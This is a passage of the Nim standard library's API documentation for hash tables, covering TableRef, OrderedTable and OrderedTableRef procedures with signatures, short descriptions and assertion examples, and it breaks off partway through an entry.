[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L829) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L829) ``` proc `[]`[A, B](t: TableRef[A, B]; key: A): var B ``` Retrieves the value at `t[key]`. If `key` is not in `t`, the `KeyError` exception is raised. One can check with [hasKey proc](#hasKey,TableRef%5BA,B%5D,A) whether the key exists. See also: * [getOrDefault proc](#getOrDefault,TableRef%5BA,B%5D,A) to return a default value (e.g. zero for int) if the key doesn't exist * [getOrDefault proc](#getOrDefault,TableRef%5BA,B%5D,A,B) to return a custom value if the key doesn't exist * [[]= proc](#%5B%5D=,TableRef%5BA,B%5D,A,B) for inserting a new (key, value) pair in the table * [hasKey proc](#hasKey,TableRef%5BA,B%5D,A) for checking if a key is in the table **Example:** ``` let a = {'a': 5, 'b': 9}.newTable doAssert a['a'] == 5 doAssertRaises(KeyError): echo a['z'] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L836) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L836) ``` proc `[]=`[A, B](t: TableRef[A, B]; key: A; val: sink B) ``` Inserts a `(key, value)` pair into `t`. See also: * [[] proc](#%5B%5D,TableRef%5BA,B%5D,A) for retrieving a value of a key * [hasKeyOrPut proc](#hasKeyOrPut,TableRef%5BA,B%5D,A,B) * [mgetOrPut proc](#mgetOrPut,TableRef%5BA,B%5D,A,B) * [del proc](#del,TableRef%5BA,B%5D,A) for removing a key from the table **Example:** ``` var a = newTable[char, int]() a['x'] = 7 a['y'] = 33 doAssert a == {'x': 7, 'y': 33}.newTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L860) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L860) ``` proc hasKey[A, B](t: TableRef[A, B]; key: A): bool ``` Returns true if `key` is in the table `t`. See also: * [contains proc](#contains,TableRef%5BA,B%5D,A) for use with the `in` operator * [[] proc](#%5B%5D,TableRef%5BA,B%5D,A) for retrieving a value of a key * [getOrDefault proc](#getOrDefault,TableRef%5BA,B%5D,A) to return a default value (e.g. zero for int) if the key doesn't exist * [getOrDefault proc](#getOrDefault,TableRef%5BA,B%5D,A,B) to return a custom value if the key doesn't exist **Example:** ``` let a = {'a': 5, 'b': 9}.newTable doAssert a.hasKey('a') == true doAssert a.hasKey('z') == false ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L876) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L876) ``` proc contains[A, B](t: TableRef[A, B]; key: A): bool ``` Alias of [hasKey proc](#hasKey,TableRef%5BA,B%5D,A) for use with the `in` operator. **Example:** ``` let a = {'a': 5, 'b': 9}.newTable doAssert 'b' in a == true doAssert a.contains('z') == false ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L894) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L894) ``` proc hasKeyOrPut[A, B](t: var TableRef[A, B]; key: A; val: B): bool ``` Returns true if `key` is in the table, otherwise inserts `value`. See also: * [hasKey proc](#hasKey,TableRef%5BA,B%5D,A) * [[] proc](#%5B%5D,TableRef%5BA,B%5D,A) for retrieving a value of a key * [getOrDefault proc](#getOrDefault,TableRef%5BA,B%5D,A) to return a default value (e.g. zero for int) if the key doesn't exist * [getOrDefault proc](#getOrDefault,TableRef%5BA,B%5D,A,B) to return a custom value if the key doesn't exist **Example:** ``` var a = {'a': 5, 'b': 9}.newTable if a.hasKeyOrPut('a', 50): a['a'] = 99 if a.hasKeyOrPut('z', 50): a['z'] = 99 doAssert a == {'a': 99, 'b': 9, 'z': 50}.newTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L904) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L904) ``` proc getOrDefault[A, B](t: TableRef[A, B]; key: A): B ``` Retrieves the value at `t[key]` if `key` is in `t`. Otherwise, the default initialization value for type `B` is returned (e.g. 0 for any integer type). See also: * [[] proc](#%5B%5D,TableRef%5BA,B%5D,A) for retrieving a value of a key * [hasKey proc](#hasKey,TableRef%5BA,B%5D,A) * [hasKeyOrPut proc](#hasKeyOrPut,TableRef%5BA,B%5D,A,B) * [mgetOrPut proc](#mgetOrPut,TableRef%5BA,B%5D,A,B) * [getOrDefault proc](#getOrDefault,TableRef%5BA,B%5D,A,B) to return a custom value if the key doesn't exist **Example:** ``` let a = {'a': 5, 'b': 9}.newTable doAssert a.getOrDefault('a') == 5 doAssert a.getOrDefault('z') == 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L924) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L924) ``` proc getOrDefault[A, B](t: TableRef[A, B]; key: A; default: B): B ``` Retrieves the value at `t[key]` if `key` is in `t`. Otherwise, `default` is returned. See also: * [[] proc](#%5B%5D,TableRef%5BA,B%5D,A) for retrieving a value of a key * [hasKey proc](#hasKey,TableRef%5BA,B%5D,A) * [hasKeyOrPut proc](#hasKeyOrPut,TableRef%5BA,B%5D,A,B) * [mgetOrPut proc](#mgetOrPut,TableRef%5BA,B%5D,A,B) * [getOrDefault proc](#getOrDefault,TableRef%5BA,B%5D,A) to return a default value (e.g. zero for int) if the key doesn't exist **Example:** ``` let a = {'a': 5, 'b': 9}.newTable doAssert a.getOrDefault('a', 99) == 5 doAssert a.getOrDefault('z', 99) == 99 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L943) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L943) ``` proc mgetOrPut[A, B](t: TableRef[A, B]; key: A; val: B): var B ``` Retrieves value at `t[key]` or puts `val` if not present, either way returning a value which can be modified. Note that while the value returned is of type `var B`, it is easy to accidentally create an copy of the value at `t[key]`. Remember that seqs and strings are value types, and therefore cannot be copied into a separate variable for modification. See the example below. See also: * [[] proc](#%5B%5D,TableRef%5BA,B%5D,A) for retrieving a value of a key * [hasKey proc](#hasKey,TableRef%5BA,B%5D,A) * [hasKeyOrPut proc](#hasKeyOrPut,TableRef%5BA,B%5D,A,B) * [getOrDefault proc](#getOrDefault,TableRef%5BA,B%5D,A) to return a default value (e.g. zero for int) if the key doesn't exist * [getOrDefault proc](#getOrDefault,TableRef%5BA,B%5D,A,B) to return a custom value if the key doesn't exist **Example:** ``` var a = {'a': 5, 'b': 9}.newTable doAssert a.mgetOrPut('a', 99) == 5 doAssert a.mgetOrPut('z', 99) == 99 doAssert a == {'a': 5, 'b': 9, 'z': 99}.newTable # An example of accidentally creating a copy var t = newTable[int, seq[int]]() # In this example, we expect t[10] to be modified, # but it is not. var copiedSeq = t.mgetOrPut(10, @[10]) copiedSeq.add(20) doAssert t[10] == @[10] # Correct t.mgetOrPut(25, @[25]).add(35) doAssert t[25] == @[25, 35] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L961) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L961) ``` proc len[A, B](t: TableRef[A, B]): int ``` Returns the number of keys in `t`. **Example:** ``` let a = {'a': 5, 'b': 9}.newTable doAssert len(a) == 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L997) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L997) ``` proc add[A, B](t: TableRef[A, B]; key: A; val: sink B) {...}{.deprecated: "Deprecated since v1.4; it was more confusing than useful, use `[]=`".} ``` **Deprecated:** Deprecated since v1.4; it was more confusing than useful, use `[]=` Puts a new `(key, value)` pair into `t` even if `t[key]` already exists. **This can introduce duplicate keys into the table!** Use [[]= proc](#%5B%5D=,TableRef%5BA,B%5D,A,B) for inserting a new (key, value) pair in the table without introducing duplicates. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1005) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1005) ``` proc del[A, B](t: TableRef[A, B]; key: A) ``` Deletes `key` from hash table `t`. Does nothing if the key does not exist. **If duplicate keys were added, this may need to be called multiple times.** See also: * [pop proc](#pop,TableRef%5BA,B%5D,A,B) * [clear proc](#clear,TableRef%5BA,B%5D) to empty the whole table **Example:** ``` var a = {'a': 5, 'b': 9, 'c': 13}.newTable a.del('a') doAssert a == {'b': 9, 'c': 13}.newTable a.del('z') doAssert a == {'b': 9, 'c': 13}.newTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1015) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1015) ``` proc pop[A, B](t: TableRef[A, B]; key: A; val: var B): bool ``` Deletes the `key` from the table. Returns `true`, if the `key` existed, and sets `val` to the mapping of the key. Otherwise, returns `false`, and the `val` is unchanged. **If duplicate keys were added, this may need to be called multiple times.** See also: * [del proc](#del,TableRef%5BA,B%5D,A) * [clear proc](#clear,TableRef%5BA,B%5D) to empty the whole table **Example:** ``` var a = {'a': 5, 'b': 9, 'c': 13}.newTable i: int doAssert a.pop('b', i) == true doAssert a == {'a': 5, 'c': 13}.newTable doAssert i == 9 i = 0 doAssert a.pop('z', i) == false doAssert a == {'a': 5, 'c': 13}.newTable doAssert i == 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1032) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1032) ``` proc take[A, B](t: TableRef[A, B]; key: A; val: var B): bool {...}{.inline.} ``` Alias for:* [pop proc](#pop,TableRef%5BA,B%5D,A,B) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1057) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1057) ``` proc clear[A, B](t: TableRef[A, B]) ``` Resets the table so that it is empty. See also: * [del proc](#del,Table%5BA,B%5D,A) * [pop proc](#pop,Table%5BA,B%5D,A,B) **Example:** ``` var a = {'a': 5, 'b': 9, 'c': 13}.newTable doAssert len(a) == 3 clear(a) doAssert len(a) == 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1062) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1062) ``` proc `$`[A, B](t: TableRef[A, B]): string ``` The `$` operator for hash tables. Used internally when calling `echo` on a table. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1076) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1076) ``` proc `==`[A, B](s, t: TableRef[A, B]): bool ``` The `==` operator for hash tables. Returns `true` if either both tables are `nil`, or neither is `nil` and the content of both tables contains the same key-value pairs. Insert order does not matter. **Example:** ``` let a = {'a': 5, 'b': 9, 'c': 13}.newTable b = {'b': 9, 'c': 13, 'a': 5}.newTable doAssert a == b ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1081) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1081) ``` proc initOrderedTable[A, B](initialSize = defaultInitialSize): OrderedTable[A, B] ``` Creates a new ordered hash table that is empty. Starting from Nim v0.20, tables are initialized by default and it is not necessary to call this function explicitly. See also: * [toOrderedTable proc](#toOrderedTable,openArray%5B%5D) * [newOrderedTable proc](#newOrderedTable,int) for creating an `OrderedTableRef` **Example:** ``` let a = initOrderedTable[int, string]() b = initOrderedTable[char, seq[int]]() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1289) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1289) ``` proc `[]=`[A, B](t: var OrderedTable[A, B]; key: A; val: sink B) ``` Inserts a `(key, value)` pair into `t`. See also: * [[] proc](#%5B%5D,OrderedTable%5BA,B%5D,A) for retrieving a value of a key * [hasKeyOrPut proc](#hasKeyOrPut,OrderedTable%5BA,B%5D,A,B) * [mgetOrPut proc](#mgetOrPut,OrderedTable%5BA,B%5D,A,B) * [del proc](#del,OrderedTable%5BA,B%5D,A) for removing a key from the table **Example:** ``` var a = initOrderedTable[char, int]() a['x'] = 7 a['y'] = 33 doAssert a == {'x': 7, 'y': 33}.toOrderedTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1305) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1305) ``` proc toOrderedTable[A, B](pairs: openArray[(A, B)]): OrderedTable[A, B] ``` Creates a new ordered hash table that contains the given `pairs`. `pairs` is a container consisting of `(key, value)` tuples. See also: * [initOrderedTable proc](#initOrderedTable,int) * [newOrderedTable proc](#newOrderedTable,openArray%5B%5D) for an `OrderedTableRef` version **Example:** ``` let a = [('a', 5), ('b', 9)] let b = toOrderedTable(a) assert b == {'a': 5, 'b': 9}.toOrderedTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1321) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1321) ``` proc `[]`[A, B](t: OrderedTable[A, B]; key: A): B ``` Retrieves the value at `t[key]`. If `key` is not in `t`, the `KeyError` exception is raised. One can check with [hasKey proc](#hasKey,OrderedTable%5BA,B%5D,A) whether the key exists. See also: * [getOrDefault proc](#getOrDefault,OrderedTable%5BA,B%5D,A) to return a default value (e.g. zero for int) if the key doesn't exist * [getOrDefault proc](#getOrDefault,OrderedTable%5BA,B%5D,A,B) to return a custom value if the key doesn't exist * [[]= proc](#%5B%5D=,OrderedTable%5BA,B%5D,A,B) for inserting a new (key, value) pair in the table * [hasKey proc](#hasKey,OrderedTable%5BA,B%5D,A) for checking if a key is in the table **Example:** ``` let a = {'a': 5, 'b': 9}.toOrderedTable doAssert a['a'] == 5 doAssertRaises(KeyError): echo a['z'] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1338) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1338) ``` proc `[]`[A, B](t: var OrderedTable[A, B]; key: A): var B ``` Retrieves the value at `t[key]`. The value can be modified. If `key` is not in `t`, the `KeyError` exception is raised. See also: * [getOrDefault proc](#getOrDefault,OrderedTable%5BA,B%5D,A) to return a default value (e.g. zero for int) if the key doesn't exist * [getOrDefault proc](#getOrDefault,OrderedTable%5BA,B%5D,A,B) to return a custom value if the key doesn't exist * [[]= proc](#%5B%5D=,OrderedTable%5BA,B%5D,A,B) for inserting a new (key, value) pair in the table * [hasKey proc](#hasKey,OrderedTable%5BA,B%5D,A) for checking if a key is in the table [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1362) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1362) ``` proc hasKey[A, B](t: OrderedTable[A, B]; key: A): bool ``` Returns true if `key` is in the table `t`. See also: * [contains proc](#contains,OrderedTable%5BA,B%5D,A) for use with the `in` operator * [[] proc](#%5B%5D,OrderedTable%5BA,B%5D,A) for retrieving a value of a key * [getOrDefault proc](#getOrDefault,OrderedTable%5BA,B%5D,A) to return a default value (e.g. zero for int) if the key doesn't exist * [getOrDefault proc](#getOrDefault,OrderedTable%5BA,B%5D,A,B) to return a custom value if the key doesn't exist **Example:** ``` let a = {'a': 5, 'b': 9}.toOrderedTable doAssert a.hasKey('a') == true doAssert a.hasKey('z') == false ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1378) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1378) ``` proc contains[A, B](t: OrderedTable[A, B]; key: A): bool ``` Alias of [hasKey proc](#hasKey,OrderedTable%5BA,B%5D,A) for use with the `in` operator. **Example:** ``` let a = {'a': 5, 'b': 9}.toOrderedTable doAssert 'b' in a == true doAssert a.contains('z') == false ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1397) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1397) ``` proc hasKeyOrPut[A, B](t: var OrderedTable[A, B]; key: A; val: B): bool ``` Returns true if `key` is in the table, otherwise inserts `value`. See also: * [hasKey proc](#hasKey,OrderedTable%5BA,B%5D,A) * [[] proc](#%5B%5D,OrderedTable%5BA,B%5D,A) for retrieving a value of a key * [getOrDefault proc](#getOrDefault,OrderedTable%5BA,B%5D,A) to return a default value (e.g. zero for int) if the key doesn't exist * [getOrDefault proc](#getOrDefault,OrderedTable%5BA,B%5D,A,B) to return a custom value if the key doesn't exist **Example:** ``` var a = {'a': 5, 'b': 9}.toOrderedTable if a.hasKeyOrPut('a', 50): a['a'] = 99 if a.hasKeyOrPut('z', 50): a['z'] = 99 doAssert a == {'a': 99, 'b': 9, 'z': 50}.toOrderedTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1407) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1407) ``` proc getOrDefault[A, B](t: OrderedTable[A, B]; key: A): B ``` Retrieves the value at `t[key]` if `key` is in `t`. Otherwise, the default initialization value for type `B` is returned (e.g. 0 for any integer type). See also: * [[] proc](#%5B%5D,OrderedTable%5BA,B%5D,A) for retrieving a value of a key * [hasKey proc](#hasKey,OrderedTable%5BA,B%5D,A) * [hasKeyOrPut proc](#hasKeyOrPut,OrderedTable%5BA,B%5D,A,B) * [mgetOrPut proc](#mgetOrPut,OrderedTable%5BA,B%5D,A,B) * [getOrDefault proc](#getOrDefault,OrderedTable%5BA,B%5D,A,B) to return a custom value if the key doesn't exist **Example:** ``` let a = {'a': 5, 'b': 9}.toOrderedTable doAssert a.getOrDefault('a') == 5 doAssert a.getOrDefault('z') == 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1427) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1427) ``` proc getOrDefault[A, B](t: OrderedTable[A, B]; key: A; default: B): B ``` Retrieves the value at `t[key]` if `key` is in `t`. Otherwise, `default` is returned. See also: * [[] proc](#%5B%5D,OrderedTable%5BA,B%5D,A) for retrieving a value of a key * [hasKey proc](#hasKey,OrderedTable%5BA,B%5D,A) * [hasKeyOrPut proc](#hasKeyOrPut,OrderedTable%5BA,B%5D,A,B) * [mgetOrPut proc](#mgetOrPut,OrderedTable%5BA,B%5D,A,B) * [getOrDefault proc](#getOrDefault,OrderedTable%5BA,B%5D,A) to return a default value (e.g. zero for int) if the key doesn't exist **Example:** ``` let a = {'a': 5, 'b': 9}.toOrderedTable doAssert a.getOrDefault('a', 99) == 5 doAssert a.getOrDefault('z', 99) == 99 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1446) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1446) ``` proc mgetOrPut[A, B](t: var OrderedTable[A, B]; key: A; val: B): var B ``` Retrieves value at `t[key]` or puts `val` if not present, either way returning a value which can be modified. See also: * [[] proc](#%5B%5D,OrderedTable%5BA,B%5D,A) for retrieving a value of a key * [hasKey proc](#hasKey,OrderedTable%5BA,B%5D,A) * [hasKeyOrPut proc](#hasKeyOrPut,OrderedTable%5BA,B%5D,A,B) * [getOrDefault proc](#getOrDefault,OrderedTable%5BA,B%5D,A) to return a default value (e.g. zero for int) if the key doesn't exist * [getOrDefault proc](#getOrDefault,OrderedTable%5BA,B%5D,A,B) to return a custom value if the key doesn't exist **Example:** ``` var a = {'a': 5, 'b': 9}.toOrderedTable doAssert a.mgetOrPut('a', 99) == 5 doAssert a.mgetOrPut('z', 99) == 99 doAssert a == {'a': 5, 'b': 9, 'z': 99}.toOrderedTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1464) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1464) ``` proc len[A, B](t: OrderedTable[A, B]): int {...}{.inline.} ``` Returns the number of keys in `t`. **Example:** ``` let a = {'a': 5, 'b': 9}.toOrderedTable doAssert len(a) == 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1484) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1484) ``` proc add[A, B](t: var OrderedTable[A, B]; key: A; val: sink B) {...}{.deprecated: "Deprecated since v1.4; it was more confusing than useful, use `[]=`".} ``` **Deprecated:** Deprecated since v1.4; it was more confusing than useful, use `[]=` Puts a new `(key, value)` pair into `t` even if `t[key]` already exists. **This can introduce duplicate keys into the table!** Use [[]= proc](#%5B%5D=,OrderedTable%5BA,B%5D,A,B) for inserting a new (key, value) pair in the table without introducing duplicates. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1492) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1492) ``` proc del[A, B](t: var OrderedTable[A, B]; key: A) ``` Deletes `key` from hash table `t`. Does nothing if the key does not exist. O(n) complexity. See also: * [pop proc](#pop,OrderedTable%5BA,B%5D,A,B) * [clear proc](#clear,OrderedTable%5BA,B%5D) to empty the whole table **Example:** ``` var a = {'a': 5, 'b': 9, 'c': 13}.toOrderedTable a.del('a') doAssert a == {'b': 9, 'c': 13}.toOrderedTable a.del('z') doAssert a == {'b': 9, 'c': 13}.toOrderedTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1502) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1502) ``` proc pop[A, B](t: var OrderedTable[A, B]; key: A; val: var B): bool ``` Deletes the `key` from the table. Returns `true`, if the `key` existed, and sets `val` to the mapping of the key. Otherwise, returns `false`, and the `val` is unchanged. O(n) complexity. See also: * [del proc](#del,OrderedTable%5BA,B%5D,A) * [clear proc](#clear,OrderedTable%5BA,B%5D) to empty the whole table **Example:** ``` var a = {'c': 5, 'b': 9, 'a': 13}.toOrderedTable i: int doAssert a.pop('b', i) == true doAssert a == {'c': 5, 'a': 13}.toOrderedTable doAssert i == 9 i = 0 doAssert a.pop('z', i) == false doAssert a == {'c': 5, 'a': 13}.toOrderedTable doAssert i == 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1535) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1535) ``` proc clear[A, B](t: var OrderedTable[A, B]) ``` Resets the table so that it is empty. See also: * [del proc](#del,OrderedTable%5BA,B%5D,A) * [pop proc](#pop,OrderedTable%5BA,B%5D,A,B) **Example:** ``` var a = {'a': 5, 'b': 9, 'c': 13}.toOrderedTable doAssert len(a) == 3 clear(a) doAssert len(a) == 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1565) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1565) ``` proc sort[A, B](t: var OrderedTable[A, B]; cmp: proc (x, y: (A, B)): int; order = SortOrder.Ascending) ``` Sorts `t` according to the function `cmp`. This modifies the internal list that kept the insertion order, so insertion order is lost after this call but key lookup and insertions remain possible after `sort` (in contrast to the [sort proc](#sort,CountTable%5BA%5D) for count tables). **Example:** ``` import algorithm var a = initOrderedTable[char, int]() for i, c in "cab": a[c] = 10*i doAssert a == {'c': 0, 'a': 10, 'b': 20}.toOrderedTable a.sort(system.cmp) doAssert a == {'a': 10, 'b': 20, 'c': 0}.toOrderedTable a.sort(system.cmp, order = SortOrder.Descending) doAssert a == {'c': 0, 'b': 20, 'a': 10}.toOrderedTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1581) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1581) ``` proc `$`[A, B](t: OrderedTable[A, B]): string ``` The `$` operator for ordered hash tables. Used internally when calling `echo` on a table. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1640) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1640) ``` proc `==`[A, B](s, t: OrderedTable[A, B]): bool ``` The `==` operator for ordered hash tables. Returns `true` if both the content and the order are equal. **Example:** ``` let a = {'a': 5, 'b': 9, 'c': 13}.toOrderedTable b = {'b': 9, 'c': 13, 'a': 5}.toOrderedTable doAssert a != b ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1645) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1645) ``` proc newOrderedTable[A, B](initialSize = defaultInitialSize): OrderedTableRef[A, B] ``` Creates a new ordered ref hash table that is empty. See also: * [newOrderedTable proc](#newOrderedTable,openArray%5B%5D) for creating an `OrderedTableRef` from a collection of `(key, value)` pairs * [initOrderedTable proc](#initOrderedTable,int) for creating an `OrderedTable` **Example:** ``` let a = newOrderedTable[int, string]() b = newOrderedTable[char, seq[int]]() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1793) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1793) ``` proc newOrderedTable[A, B](pairs: openArray[(A, B)]): OrderedTableRef[A, B] ``` Creates a new ordered ref hash table that contains the given `pairs`. `pairs` is a container consisting of `(key, value)` tuples. See also: * [newOrderedTable proc](#newOrderedTable,int) * [toOrderedTable proc](#toOrderedTable,openArray%5B%5D) for an `OrderedTable` version **Example:** ``` let a = [('a', 5), ('b', 9)] let b = newOrderedTable(a) assert b == {'a': 5, 'b': 9}.newOrderedTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1808) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1808) ``` proc `[]`[A, B](t: OrderedTableRef[A, B]; key: A): var B ``` Retrieves the value at `t[key]`. If `key` is not in `t`, the `KeyError` exception is raised. One can check with [hasKey proc](#hasKey,OrderedTableRef%5BA,B%5D,A) whether the key exists. See also: * [getOrDefault proc](#getOrDefault,OrderedTableRef%5BA,B%5D,A) to return a default value (e.g. zero for int) if the key doesn't exist * [getOrDefault proc](#getOrDefault,OrderedTableRef%5BA,B%5D,A,B) to return a custom value if the key doesn't exist * [[]= proc](#%5B%5D=,OrderedTableRef%5BA,B%5D,A,B) for inserting a new (key, value) pair in the table * [hasKey proc](#hasKey,OrderedTableRef%5BA,B%5D,A) for checking if a key is in the table **Example:** ``` let a = {'a': 5, 'b': 9}.newOrderedTable doAssert a['a'] == 5 doAssertRaises(KeyError): echo a['z'] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1826) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1826) ``` proc `[]=`[A, B](t: OrderedTableRef[A, B]; key: A; val: sink B) ``` Inserts a `(key, value)` pair into `t`. See also: * [[] proc](#%5B%5D,OrderedTableRef%5BA,B%5D,A) for retrieving a value of a key * [hasKeyOrPut proc](#hasKeyOrPut,OrderedTableRef%5BA,B%5D,A,B) * [mgetOrPut proc](#mgetOrPut,OrderedTableRef%5BA,B%5D,A,B) * [del proc](#del,OrderedTableRef%5BA,B%5D,A) for removing a key from the table **Example:** ``` var a = newOrderedTable[char, int]() a['x'] = 7 a['y'] = 33 doAssert a == {'x': 7, 'y': 33}.newOrderedTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1849) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1849) ``` proc hasKey[A, B](t: OrderedTableRef[A, B]; key: A): bool ``` Returns true if `key` is in the table `t`. See also: * [contains proc](#contains,OrderedTableRef%5BA,B%5D,A) for use with the `in` operator * [[] proc](#%5B%5D,OrderedTableRef%5BA,B%5D,A) for retrieving a value of a key * [getOrDefault proc](#getOrDefault,OrderedTableRef%5BA,B%5D,A) to return a default value (e.g. zero for int) if the key doesn't exist * [getOrDefault proc](#getOrDefault,OrderedTableRef%5BA,B%5D,A,B) to return a custom value if the key doesn't exist **Example:** ``` let a = {'a': 5, 'b': 9}.newOrderedTable doAssert a.hasKey('a') == true doAssert a.hasKey('z') == false ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1865) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1865) ``` proc contains[A, B](t: OrderedTableRef[A, B]; key: A): bool ``` Alias of [hasKey proc](#hasKey,OrderedTableRef%5BA,B%5D,A) for use with the `in` operator. **Example:** ``` let a = {'a': 5, 'b': 9}.newOrderedTable doAssert 'b' in a == true doAssert a.contains('z') == false ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1883) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1883) ``` proc hasKeyOrPut[A, B](t: var OrderedTableRef[A, B]; key: A; val: B): bool ``` Returns true if `key` is in the table, otherwise inserts `value`. See also: * [hasKey 